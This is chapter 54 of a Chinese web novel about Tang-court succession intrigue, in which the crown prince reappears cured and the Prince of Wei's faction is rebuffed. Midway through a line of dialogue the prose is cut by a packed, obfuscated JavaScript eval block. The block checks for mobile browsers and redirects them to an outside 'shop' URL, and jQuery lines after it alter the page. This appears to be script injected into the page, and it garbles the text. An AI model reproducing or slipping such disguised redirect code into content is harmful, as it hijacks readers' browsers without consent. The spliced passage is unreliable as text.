第54章 匕现了,大获全胜

作品:《大唐:洞房夜给高阳放血李二懵了

    翌日清晨,太极殿。


    晨钟响彻长安,文武百官鱼贯而入。今日大朝会气氛格外凝重,连平日里交头接耳的大臣们都噤若寒蝉。


    李世民端**,冕旒下的面容看不出喜怒。但熟悉皇帝的大臣都察觉到,今日陛下的眼神比往日更加锐利。


    “有本奏来,无本退朝。”高重尖细的声音在殿中回荡。


    短暂的沉默后,御史台大夫褚遂良出列:


    “陛下,臣有本奏。”


    “讲。”


    “太子殿下监国已有月余未上朝,臣闻东宫传出消息,太子病情加重,咳血不止。”


    褚遂良声音沉痛,“储君乃国本,如今国本动摇,臣请陛下早作决断!”


    话音落下,殿中一片哗然。


    魏征当即出列:“褚大夫此言差矣!太子殿下只是偶感风寒,何来国本动摇之说?太医署已有明言,静养数日即可康复。”


    “静养数日?”


    杜楚客冷笑一声,“魏相何必自欺欺人?太子咳血之事,长安城谁人不知?若真是小恙,为何月余不见好转?”


    “杜侍郎!”


    房玄龄沉声道,“东宫之事,自有陛下圣裁。尔等在此议论,莫非是要动摇国本?”


    “房相言重了。”


    杜楚客躬身道,“下官只是担忧国事。太子病重,朝政却不可一日荒废。臣以为,当请陛下另择贤能,暂代太子监国之责。”


    此言一出,殿中气氛骤然紧绷。


    谁都知道,杜楚客是魏王李泰的人。一番话看似为朝廷着想,实则是要逼宫!


    李世民脸上古井无波,目光扫过殿中众臣:


    “诸位爱卿,以为如何?”


    “臣附议!”


    礼部侍郎崔仁师出列,“太子殿下仁孝,为政务操劳至此,臣等心痛不已。然国事为重,请陛下为太子健康计,暂免其监国之责。”


    “臣附议!”


    “臣也附议!”


    转眼间,竟有十余名大臣出列附和。


    魏征、房玄龄等人脸色铁青。他们没想到,魏王党的动作如此之快、如此之猛。


    李世民沉默片刻,忽然看向站在武官队列中的魏叔玉:


    “玉儿,你怎么看?”


    所有人的目光,瞬间聚焦到魏叔玉身上。


    魏叔玉出列后歪嘴一笑:


    “回陛下,微臣以为所有附议之人,要么心思歹毒,要么是蠢笨如豕。


    太子监国天经地义,岂能随着更改。微臣建议将他们,全部下大理寺大狱,严刑拷问一番!”


    “什么!!”


    大殿内所有人,都惊得下巴都快掉了。


    尤其是杜楚客、崔仁师之流,心里更是慌得一批。


    他们都是四品大员,做梦都想更进一步。他们也想站队东宫,问题是压根轮不到他们。


    没有办法,他们才站队李泰。


    杜楚客语气有些结巴:“魏…魏驸马,大唐可没有因谏言入罪的先例,你…你可不能破坏大唐礼制。”


    “破坏大唐礼制?杜大人倒是会扣帽子。自古以来都是嫡长为尊,杜大人要剥夺太子殿下监国之责,莫不是要废太子不成!!”


    “轰!!”


    随着魏叔玉话音落下,大殿内顿时就炸了。


    谁也没料到,魏驸马竟然如此尖牙利嘴。


    站在前列的李泰,此刻他的脸色,别提有多难看。


    杜楚客色厉内荏,“魏驸马,你…你切莫血口喷人!”


    魏叔玉转头看他,眼神冰冷:“杜大人敢做,难道还害怕别人说?”


    “魏驸马,下官只是为朝廷着想...”


    “好一个为朝廷着想!”


    一道清冷的声音,突然从殿外传来。


    众人愕然回头,只见李承乾一身朝服,步履从容的走进太极殿。


    “太...太子殿下?!”杜楚客失声道。


    李承乾来到御阶前,向李世民行礼:“儿臣拜见父皇。天佑大唐,儿臣病体已经痊愈。”


    李世民惊得直接站起来,语气有些结结巴巴:


    “高…高明,你…你真的好啦?”


    李承乾看眼魏叔玉,“全是妹夫的功劳,他给儿臣服用颗‘仙丹’,病一下子就好啦!”


    “仙丹??”


    李世民眼珠子瞪得大大的,眼里满满都是不敢置信。


    狗东西,不是说没仙丹嘛。


    怎么高明病重,狗东西的‘仙丹’就问世啦?


    而且看高明的脸色,满面红光,一点生病的迹象都没有。


    李世民扫过杜楚客等人:“以后再有人言换太子,定斩不饶。”


    殿中一片寂静。


    魏王党的大臣们面面相觑,他们万万没想到,李承乾居然会亲自上朝!


    亲自上朝就算了,而且他龙精虎猛的。


    李泰长袖中的双手紧握,指甲几乎要掐进肉里。


    该死的狗东西,有什么好东西,为啥全都给大哥?


    那…那可是仙丹呐!!


    “太子既然无恙,监国之责照旧。”


    “陛下圣明!”魏征等人连忙附和。


    杜楚客等人,只得悻悻退下。


    朝会继续进行,但所有人的心思都已不在上面。


    魏王党的突然发难,太子的突然现身,短暂交锋以太子大胜告终。


    退朝后,李世民召见李承乾和魏叔玉。


    两仪殿内,李世民长叹一声:


    “杜楚客背后是青雀。朕没想到,他会如此迫不及待。”


    魏叔玉忽然道:“父皇,或许不是魏王迫不及待,而是有人推波助澜。”


    “哦?”李世民看向他,“你指的是...”


    “晋王殿下。”魏叔玉缓缓吐出四个字。


    李世民眼神一凝:“稚奴?他年纪尚小,怎会...”


    “年纪小,心思可不小。”


    魏叔玉将周焕之事简要禀报,“王家与晋王关系密切,而王家又在驰道工程中安插人手。


    如今朝堂上魏王党发难,若是成功,得利的是魏王;若是失败,得罪人的也是魏王。无论成败,晋王都躲在暗处。”


    李世民沉默良久,忽然苦笑:“朕的儿子,个个都不简单啊。”


    “父皇,儿臣有一事不解。”李承乾道,“稚奴若真有此心,为何要等到现在?”


    “因为以前没有机会。”


    魏叔玉解释道,“以前太子殿下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835606|167324||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地位稳固,诸王虽有心,却无机可乘。如今殿下‘病重’,便是最好的时机。”


    说完他看向李世民:“父皇,小婿建议对今日出列的官员,明升暗降、调离要职。”


    李世民沉吟片刻:“不妥。如此大动干戈,反而会让人心惶惶。”


    “那就只动为首几人。”


    魏叔玉道,“杜楚客、崔仁师,两人必须调离长安。”


    “准。”李世民点头,“高重,传旨:杜楚客调任并州司马,崔仁师调任扬州长史,三日内离京赴任。”


    “遵旨。”


    处理完朝堂之事,李世民忽然问:“南诏那边,可有消息?”


    “正要禀报父皇。”


    魏叔玉从袖中取出一封密信,“今晨刚到的飞鸽传书,刘仁愿已按计划清洗王家安插的人手,抓获叛逆头目十七人。经审讯,他们计划在十日后煽动奴隶**。”


    李世民接过密信,越看脸色越沉:“好毒辣的计策!若真让这些人得逞,南诏刚平的局势又要大乱!”


    “所幸发现及时。”魏叔玉道,“刘将军已加强戒备,并让崔神基暗中调查,看是否还有漏网之鱼。”


    “做得好。”


    李世民将密信在烛火上点燃,“玉儿,此事你处理得妥当。不过...稚奴那边,你有何建议?”


    魏叔玉沉默片刻:“晋王殿下年纪不小,应该去就蕃啊。”


    李世民看了他一眼:


    “的确年纪不小,等他与王家女成亲后,便让他去亳州就蕃吧。


    不过稚奴身边那些人,不能再留了。王崇真...就让他在狱中‘病逝’吧。至于王家,朕会敲打敲打。”


    不愧是帝王,话说得轻描淡写,里面的杀机却很浓烈。


    “青雀待在长安有些长,他也该回鄂州封地。”


    李承乾和魏叔玉都是一愣,两人异口同声拍着马屁:


    “父皇圣明!”


    离开两仪殿时,已是午后。


    李承乾与魏叔玉并肩走在宫道上,春日阳光洒在身上,暖洋洋的。


    “妹夫,今日多谢了。”李承乾轻声道。


    “太子哥客气,分内之事罢了。”


    “分内之事...”李承乾苦笑,“有时候孤在想,若没有你,孤的太子还能做多久。”


    魏叔玉正色道:“太子哥切莫妄自菲薄。您是嫡长子,仁孝聪慧,本就是最合适的储君。叔玉所做,不过是尽臣子本分。”


    李承乾看着他,忽然问:“若有一日,孤真的不行了,你会支持谁?”


    魏叔玉脚步一顿:“太子哥何出此言?”


    “只是问问。”


    李承乾望向远处的宫殿,“经此一事,孤忽然明白,储君之位看似尊贵,实则凶险。今日是青雀、稚奴,明日或许还有别人。”


    “那太子哥就更要保重身体。”魏叔玉认真道,“大唐需要您,陛下需要您,象儿...也需要您。”


    李承乾笑了:“好,为了你们,我也要好好活着。”


    两人走到宫门处,正要分别,却见一个内侍急匆匆跑来。


    “殿下,驸马爷,不好了!晋王殿下在府中晕倒了!”